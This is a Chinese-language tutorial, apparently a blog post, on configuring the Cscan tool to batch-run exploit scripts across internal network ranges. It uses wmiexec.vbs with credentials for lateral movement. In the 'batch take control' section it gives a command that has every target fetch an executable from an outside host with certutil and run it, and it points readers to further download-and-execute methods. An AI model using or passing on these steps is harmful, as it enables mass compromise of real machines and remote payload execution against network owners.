0x000 调用原理
Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件
编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言)
由于考虑到很多人不会编程或会编程又急用无法短时间转成DLL
所以特意提供ini做为调用外部程序接口,毕竟每出个EXP就写个批量工具不现实
EXP代码未必是你擅长并喜欢的代码,甚至不提供源码,没关系Cscan照样调用
配置Cscan.ini应该算是目前最容易实现Cscan自定义"插件"功能了
配置文件使用非常简单,只需配置两个参数,一是程序,二是参数
exe即程序名(系统程序可省路径,非系统程序需完整路径)
arg即参数,比方说执行net user命令,程序是net.exe参数是user
在win系统里本质上执行的是c:/windows/system32/net.exe user
VBS脚本:执行"cscript exp.vbs",本质上执行的是c:/windows/system32/cscript.exe exp.vbs
PY脚本: 执行"python exp.py",本质上执行的是PY安装路径/python.exe exp.py
以上不需要全路径的原因是设置了环境变量,系统自动识别了
那么Cscan要调用外部程序,就得先设置Cscan的“环境变量”
好比你点外卖,你不填写地址,让骑手去哪给你送货?
给程序一个眼神它是不会自己去体会的,连人都做不到。
下面以调用内网横向渗透脚本Wmiexec.vbs为例(脚本和cscan主程序放在同一目录)
wmiexec.vbs内网远程CMD例子: cscript wmiexec.vbs /cmd IP 用户名 密码 whoami
0x001 配置Cscan.ini
新建Cscan.ini文件,内容如下
[Cscan]exe=cscript.exearg=wmiexec.vbs /cmd $ip$ user pass "echo FuckOK"
ps:调用其它VBS脚本同理(有些机器默认无Whoami命令,所以执行echo返回特定内容最佳)
0x002 设置扫描范围
新建C段文件ip24.txt,内容如下(扫描以下两个C段机器)
192.168.1.8 10.1.10.5
0x003 批量验证或执行命令
运行Cscan > pwd.txt (Cscan主程序要选用系统对应.net版本)
如图(由于批量执行的是whoami,所以成功的将会返回whoami的结果)
0x004 批量上控
有人肯定要说,我不想给所有机器上控怎么办?
特定机器列表使用ip.txt,B段ip16.txt、A段ip8.txt
新建ip.txt,同时删除ip24.txt或改名(调用优先级问题)
ip.txt内容如下(仅扫描以下4个IP)
192.168.1.8 192.168.1.100 10.1.11.5 172.3.4.6
Cscan.ini内容
[Cscan]exe=cscript.exearg=wmiexec.vbs /cmd $ip$ user pass "certutil.exe -urlcache -split -f http://k8gege.github.io/poc.exe&&poc.exe"
PS:certutil仅是其中一种方法,几年前就有人整理至少17种下载方法,就不一一列举了
(其它下载者命令百度、Google,关键字比也以前多什么下载执行Payload等)
现在也有很多人把人家一篇精华文章换个名词写成十几篇教程给萌新看
好像很吊的样子,但是在大量教程文章的情况下依旧有人不懂举一反三
按理说我写Cscan批量调用其它EXP例子时,就有人懂得如何批量上控
但事实并非如此,甚至有些人已接触一段时间,搞得像萌新一样还不懂
由于在统计里发现有人搜索"Cscan如何使用",加上怕有人问浪费时间
为了照顾萌新以及一些不同举一反三的“老人”,特意写此文章教程
0x005 下载
https://github.com/k8gege/K8CScan
https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
原文地址:https://www.cnblogs.com/k8gege/p/11161242.html